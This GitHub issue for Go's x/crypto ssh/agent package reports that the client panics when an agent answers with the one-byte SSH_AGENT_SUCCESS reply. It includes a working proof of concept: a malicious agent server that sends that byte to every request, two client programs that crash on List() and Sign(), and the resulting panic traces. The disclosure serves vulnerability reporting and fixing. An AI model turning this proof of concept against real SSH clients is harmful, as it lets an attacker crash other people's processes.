Skip to content

x/crypto/ssh/agent: client panics on SSH_AGENT_SUCCESS (0x06) replies #75178

@jake-ciolek

Description

@jake-ciolek

Go version

go1.25.0

Output of go env in your module/workspace:

GOVERSION='go1.25.0'

What did you do?

Note: This was reported on [email protected] and a PUBLIC track was assigned.

This is confirmed to happen in golang.org/x/crypto <= v0.41.0

Summary

The agent client crashes if a peer replies SSH_AGENT_SUCCESS (byte 6, the protocol’s generic success reply) to requests that expect typed responses. The unmarshal layer converts 0x06 into a *successAgentMsg, but the client methods only handle the specific success types (e.g., *identitiesAnswerAgentMsg, *signResponseAgentMsg) or *failureAgentMsg. Any other type falls through to panic("unreachable").

A malicious or buggy agent can therefore terminate the client process with a single, well-formed one-byte reply.

PoC 1 — Crash List() (and therefore Signers())

Server (replies SUCCESS to any request):

package main

import (
	"encoding/binary"
	"fmt"
	"net"
)

func main() {
	ln, err := net.Listen("tcp", "127.0.0.1:9999")
	if err != nil { panic(err) }
	fmt.Println("agent listening on 127.0.0.1:9999")
	for {
		c, err := ln.Accept()
		if err != nil { panic(err) }
		go handle(c)
	}
}

func handle(c net.Conn) {
	defer c.Close()
	var hdr [4]byte
	if _, err := c.Read(hdr[:]); err != nil { return }
	n := binary.BigEndian.Uint32(hdr[:])
	if n == 0 || n > 1<<24 { return }
	buf := make([]byte, n)
	if _, err := c.Read(buf); err != nil { return }

	resp := []byte{6} // SSH_AGENT_SUCCESS
	var out [4]byte
	binary.BigEndian.PutUint32(out[:], uint32(len(resp)))
	c.Write(out[:])
	c.Write(resp)
}

Victim client (List):

package main

import (
	"fmt"
	"net"
	"golang.org/x/crypto/ssh/agent"
)

func main() {
	conn, err := net.Dial("tcp", "127.0.0.1:9999")
	if err != nil { panic(err) }
	ag := agent.NewClient(conn)
	fmt.Println("calling List() — expect panic in agent/client.go")
	_, _ = ag.List() // panics: "unreachable"
}

This results in:

panic: unreachable

goroutine 1 [running]:
golang.org/x/crypto/ssh/agent.(*client).List(0x1005a6008
/Users/jakubciolek/go/pkg/mod/golang.org/x/[email protected]/ssh/agent/client.go:434 +0x184
main.main()

Victim client: Sign (reuse the same server)

package main

import (
	"crypto/ed25519"
	"crypto/rand"
	"net"

	"golang.org/x/crypto/ssh"
	"golang.org/x/crypto/ssh/agent"
)

func main() {
	conn, err := net.Dial("tcp", "127.0.0.1:9999")
	if err != nil { panic(err) }
	ag := agent.NewClient(conn)

	_, pub, _ := ed25519.GenerateKey(rand.Reader)
	sshPub, _ := ssh.NewPublicKey(pub)

	_, _ = ag.Sign(sshPub, []byte("hello")) // panics: "unreachable"
}

This results in:

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x2 addr=0x18 pc=0x1050b0ef8]

goroutine 1 [running]:
[golang.org/x/crypto/ssh/agent.(*client).SignWithFlags(0x1400000c390](http://golang.org/x/crypto/ssh/agent.(*client).SignWithFlags(0x1400000c390), {0x0?, 0x0?}, {0x1400000e2f0, 0x5, 0x5}, 0x0)
/Users/jakubciolek/go/pkg/mod/golang.org/x/[email protected]/ssh/agent/client.go:445 +0x38
golang.org/x/crypto/ssh/agent.(*client).Sign(..
/Users/jakubciolek/go/pkg/mod/golang.org/x/[email protected]/ssh/agent/client.go:440
main.main()

What did you see happen?

Panics on client interaction with prepared server.

What did you expect to see?

Client survives those interactions.

Metadata

Metadata

Assignees

No one assigned

    Labels

    BugReportIssues describing a possible bug in the Go implementation.NeedsInvestigationSomeone must examine and confirm this is a valid issue and not a duplicate of an existing one.Security

    Type

    Projects

    No projects

    Milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions